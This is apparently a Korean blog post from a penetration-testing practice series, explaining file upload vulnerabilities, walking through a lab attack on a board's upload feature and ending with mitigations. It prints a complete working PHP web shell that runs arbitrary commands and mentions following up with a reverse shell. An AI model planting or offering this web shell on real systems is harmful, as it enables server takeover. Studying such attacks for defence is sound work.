파일 업로드
파일 업로드 취약점은 웹 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버에 임의로 업로드 하는 공격입니다. 웹 쉘 형태의 파일을 업로드 후 실행하면 서버의 자원을 장악할 수 있으며 웹 서비스를 실행하는 서버의 권한을 획득할 수 있습니다. 다른 페이지의 코드를 변조하여 클라이언트에게 악성 코드를 배포할 수 있습니다.
1. 공격 원리
파일 업로드 취약점은 아래표의 조건이 모두 만족할 때 발생하는 취약점입니다.
|
No. |
행위 |
발생 원인 |
|
1 |
악의적인 파일 업로드 |
파일 업로드 시 확장자 체크의 미흡, PUT 메소드 이용 |
|
2 |
업로드 경로 확인 |
업로드 디렉토리의 경로 노출 |
|
3 |
스크립트 실행 |
실행 권한 존재 |
파일 업로드 취약점은 다음의 과정으로 진행됩니다.
|
1. 파일 업로드 기능을 이용하여 임의의 확장자를 가진 파일을 업로드합니다. 2. 확장자 체크가 미흡하고 업로드한 파일 경로가 노출되는지 확인합니다. 3. 악의적인 스크립트를 업로드합니다. 4. 파일 업로드 경로에 URL로 접근하여 웹 쉘이 실행되는지 확인합니다. |
파일을 업로드 한 후 업로드 파일에 접근하여 웹 쉘을 실행시킵니다. 웹 쉘을 실행시킴으로써 웹 서버를 장악할 수 있고 리버스 쉘을 연결하여 내부망을 장악할 수 있습니다.
2. 공격 실습
|
No. |
실습 위치 |
비고 |
|
1 |
게시판 게시글 추가 기능 |
Step1.파일 업로드 기능에 확장자 체크가 미흡하여 웹 스크립트 언어를 업로드를 시도합니다.

Step2.파일이 정상적으로 업로드 되었음을 확인하고 업로드 경로를 확인합니다.

Step3.경로로 직접 접근하여 웹 쉘을 실행시킵니다.

Step4.공격에 사용한 웹 쉘은 다음과 같습니다.
|
<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> <script>document.getElementById("cmd").focus();</script> </html> |
Step5.웹 쉘 업로드가 가능하면 공격자는 공격지 서버와 리버스 쉘을 연결하여 서버 자원을 변조, 삭제할 수 있습니다. 업로드한 웹 쉘을 이용하여 리버스 쉘 연결을 시도합니다.


파일 업로드 취약점은 서버 장악으로 이어질 수 있는 위험도가 높은 취약점입니다. 업로드 구현 시 서버 측 확장자를 화이트 리스트 방식으로 필터링하는 방법으로 보안대책을 세울 수 있습니다. 또한, 경로와 파일명을 데이터베이스로 관리하여 경로 노출을 방지할 수 있습니다. 취약점이 존재하는 IIS6.X 미만 버전을 패치하고 사용자의 입력 값을 검증하여 파일에 특수문자가 포함되지 않는지 검증하는 절차가 필요합니다. 또한 PUT 메소드를 이용하여 파일을 업로드할 수 있으므로 사용하지 않는 메소드는 제거하고 폴더의 실행 권한을 부여하지 않도록 설정합니다.
'Security > WEB' 카테고리의 다른 글
| [모의해킹 실습] CSRF 취약 페이지 구현 및 공격 실습 (0) | 2021.07.22 |
|---|---|
| [모의해킹 실습] 파일 다운로드 취약 페이지 구현 및 공격 실습 (0) | 2021.07.19 |
| [모의해킹 실습] Stored XSS 취약 페이지 구현 및 공격 실습 2 (4) | 2021.07.13 |
| [모의해킹 실습] XSS 취약 페이지 구현 및 공격 실습 (0) | 2021.07.10 |
| [모의해킹 실습] Blind SQL Injection 게시판 구현 및 공격실습 3 (0) | 2021.07.08 |
